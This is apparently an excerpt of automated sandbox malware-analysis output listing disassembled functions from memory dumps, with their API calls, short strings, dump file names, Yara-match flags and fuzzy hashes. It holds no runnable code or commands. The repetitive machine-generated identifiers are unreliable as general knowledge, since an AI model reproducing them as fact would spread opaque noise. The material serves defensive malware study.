Instruction Fuzzy Hash: A0012B70F04258CBC720EBB9AD41A5D7360A718304F50017ED51467381EB789941878D

Function 00407E50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407EBE

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

_DC[, xrefs: 00407E67
CD^O, xrefs: 00407E70

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction ID: 75c8c8ce13ad0cb5c53a0921d7a0f1eb8d827427a00a4f276ef8137bbb37e5e9
Opcode Fuzzy Hash: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction Fuzzy Hash: 5601DB71F05248CFC720EBA4ED4196A7760AB15304F90017EE51967391D6785D41874F

Function 04D17810 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D1787E

Strings

CD^O, xrefs: 04D17830
_DC[, xrefs: 04D17827

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: 3b535f94b09d7cf46c34454d8fe4eb76447d6cf99152d932287b846cad1c18af
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: 8001F970F04354ABC720EFB8BD51AAD7360EB18315F9002B9D915572A0EB74B541CB99

Function 04D17250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D172BE

Strings

CD^O, xrefs: 04D17270
_DC[, xrefs: 04D17267

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: 0024a0cb7ff1ba13cacb1a350534947a341a4ed6b64985342ab15f70e5d9ca7b
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: 3D01F9B1F00248EFC720EFB8BD51A6D7360EB15304FA002A9ED195B2A0E7347542CB56

Function 04B58677 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B586E5

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

CD^O, xrefs: 04B58697
_DC[, xrefs: 04B5868E

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: 1c8c3e6a02118f5384be3606d62f15b308d0001ae95b0d28370a2e1baab71a2e
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: BF01D670F04258DBD720FF78AD41B69B360EB19210F9006A9D91467360DB74A5858799

Function 04B580B7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B58125

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

CD^O, xrefs: 04B580D7
_DC[, xrefs: 04B580CE

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: 335dfb623243c7f7d0213acb19bc82d99cba1bc209789143a168b28290d2c7b7
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: A00126B1F00248DBC720FF68AC41B69B360EB0A200FA002A9E8195B260D6346595874A

Function 00407800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407869

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

DCDO, xrefs: 00407816
EDO*, xrefs: 0040781D

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$EDO*
API String ID: 2296764815-3480089779
Opcode ID: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction ID: 2c0c492e7e72bdb30d52bd5223af33e2dc0730c32d16496d374a94bf7777f62b
Opcode Fuzzy Hash: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction Fuzzy Hash: 5B016275F08208DBDB20EFA5D842E5DB7B0AB14708F50417ED916A7791DA38AD02CF4D

Function 00407910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407979

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

DCDO, xrefs: 00407926
^]E*, xrefs: 0040792D

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$^]E*
API String ID: 2296764815-2708296792
Opcode ID: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction ID: a49365da1333b78fae32507e70f919b170a79118b3a39b38b1efb03faeb462bb
Opcode Fuzzy Hash: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction Fuzzy Hash: 92011DB0F042089BD720EFA9E883A9DB7A0A784704F90417FE919A7391D6396D81CF4D

Function 04D16C00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D16C69

Strings

DCDO, xrefs: 04D16C16
EDO*, xrefs: 04D16C1D

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$EDO*
API String ID: 1385522511-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: 9fdaf2507d2b56bb0c047e21d2d8923d25a0e77acee2b9cb4130bef5cd928f34
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: DE016D74F04208EBDB20DFA4E851E5DBBB0EB14708F9041BADD15977A0DA35A902CF59

Function 04D16D10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D16D79

Strings

^]E*, xrefs: 04D16D2D
DCDO, xrefs: 04D16D26

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$^]E*
API String ID: 1385522511-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: 12d132fd9caa1c12ed823e0aaf63f1c64f9635d6bf7c66bd1f5017ef46603be9
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: 8E0136B0F00208EFD720EFA8E89269D77B0E744704F9041BAED19573A4D635A985CF59

Function 04B57A67 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B57AD0

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

DCDO, xrefs: 04B57A7D
EDO*, xrefs: 04B57A84

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$EDO*
API String ID: 4132704954-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: 8e38b3d27943b2724423c4628a2d79678f206afc343d06ed536090f27a68e4ab
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: D0016DB4F04208DBEB20DFA4E841F5DB7B0EB18704F9045BADC15A77A0DA35AA468B49

Function 04B57B77 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B57BE0

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

DCDO, xrefs: 04B57B8D
^]E*, xrefs: 04B57B94

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$^]E*
API String ID: 4132704954-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: 46e5da659916b9779801f8e0992f025d606a9116fdc30555016c31a7acf225d9
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: 230136B4F00208DBD720DF99E94275DB7B0D748714F9041BAEC1557360DA357985CF59